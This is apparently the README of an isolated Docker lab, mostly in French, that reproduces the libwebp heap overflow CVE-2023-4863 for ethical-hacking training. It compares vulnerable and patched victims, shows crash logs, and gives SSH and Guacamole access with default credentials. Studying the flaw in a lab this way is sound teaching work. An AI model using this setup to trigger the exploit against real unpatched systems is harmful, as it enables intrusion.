CVE-2023-4863 — Laboratoire d'exploitation de libwebp

Reproduction de CVE-2023-4863 (heap buffer overflow dans libwebp) dans un environnement Docker complètement isolé et automatisé. Basé sur la pratique du module de Hacking Éthique de CEFIRE.

Ce que fait ce lab

Lance huit conteneurs en réseau privé :

La démonstration automatique (victim-cli vs victim-patched) se produit seule au démarrage. La démonstration visuelle dans GUI nécessite une interaction manuelle depuis Guacamole.

Prérequis

• Docker Engine 24+
• Docker Compose v2
• ~5 Go de RAM disponibles
• ~10 Go de disque (images + couches)

Démarrer le lab

make up

make up fait trois choses automatiquement si c'est la première fois :

1. Génère le schéma SQL de Guacamole (exécute initdb.sh depuis l'image officielle)
2. Construit les images des conteneurs
3. Lance tout

Le build prend quelques minutes la première fois (télécharge les images de base, clone le dépôt du PoC, installe les paquets). Les exécutions suivantes utilisent le cache de Docker et sont presque instantanées.

Quand ça termine, tu verras l'URL de Guacamole dans la sortie. Les conteneurs victimes ne démarrent pas tant que l'attaquant n'est pas prêt et ne sert pas l'exploit (healthcheck).

Identifiants

Voir la démonstration automatique (CLI)

Dans un terminal, pendant que le lab tourne :

# Ver el crash en la víctima vulnerable
make logs-victim-cli

# Ver la respuesta controlada en la víctima parcheada
make logs-victim-patched

Ce que tu verras dans victim-cli :

[*] Ejecutando: dwebp /tmp/exploit.webp -o /tmp/salida.png

Decoding of exploit.webp failed.
Status: 3(BITSTREAM_ERROR)
*** glibc detected *** double free or corruption (!prev) ***
Aborted (core dumped)

[!] EXIT CODE: 134 (SIGABRT)
[!] CVE-2023-4863 CONFIRMADO

Ce que tu verras dans victim-patched :

[*] Ejecutando: dwebp /tmp/exploit.webp -o /tmp/salida.png

Decoding of exploit.webp failed.
Status: 3(BITSTREAM_ERROR)

[+] EXIT CODE: 1 — Error controlado
[+] CVE-2023-4863 MITIGADO

Démonstration visuelle sur le bureau (GUI)

La démonstration la plus visuelle se fait en comparant victim-gui (vulnérable) avec victim-gui-patched (patchée) en utilisant dwebp depuis un terminal du bureau XFCE.

Étapes

1. Ouvre http://localhost:8888/guacamole dans ton navigateur
2. Connexion : guacadmin / guacadmin
3. Sur la victime vulnérable (Firefox 110) :
   • Sélectionne [VÍCTIMA GUI] VNC — Escritorio Chrome
   • Ouvre un terminal dans le bureau XFCE
   • Exécute :
     root@kitploit:~

     firefox --no-sandbox http://attacker/index.html
     

   • Firefox 110 tente de rendre exploit.webp → crash (SIGABRT, processus mort)
4. Sur la victime patchée (Firefox 126) :
   • Sélectionne [VÍCTIMA GUI PATCH] VNC — Escritorio Chrome patch
   • Même commande → Firefox 126 gère l'erreur sans crasher

Pourquoi Firefox au lieu de Chrome

Mozilla maintient une archive publique permanente de toutes ses versions sur releases.mozilla.org. Google a retiré les URL des anciennes versions de Chrome de son CDN, rendant impossible le téléchargement fiable de Chrome 116. Firefox 110 est tout aussi vulnérable (les deux embarquent libwebp en interne) et son téléchargement depuis l'archive de Mozilla est stable et reproductible.

Accès direct par SSH (sans Guacamole)

ssh root@localhost -p 2220   # attacker
ssh root@localhost -p 2221   # victim-cli
ssh root@localhost -p 2223   # victim-patched
ssh root@localhost -p 2222   # victim-gui
ssh root@localhost -p 2224   # victim-gui-patched

VNC direct : localhost:5900 (victim-gui) et localhost:5901 (victim-gui-patched).

Commandes utiles

make logs                    # todos los logs en tiempo real
make status                  # estado de los containers
make shell-attacker          # shell en el atacante
make shell-victim-cli
make shell-victim-gui
make shell-victim-gui-patched
make down                    # parar el lab
make clean                   # parar + borrar imágenes y redes

Notes

Chrome et libwebp : Chrome embarque sa propre copie de libwebp (n'utilise pas celle du système). Les versions ≥ 116.0.5845.187 incluent le correctif. Comme Google a retiré les URL des anciennes versions, le Dockerfile tombe en fallback sur la version stable actuelle (patchée). La démonstration du crash avec dwebp est tout aussi valable et plus fiable.

Réseau isolé : aucun conteneur n'a accès à Internet pendant l'exécution. Tout le trafic reste dans le réseau Docker privé cve4863-lab-net.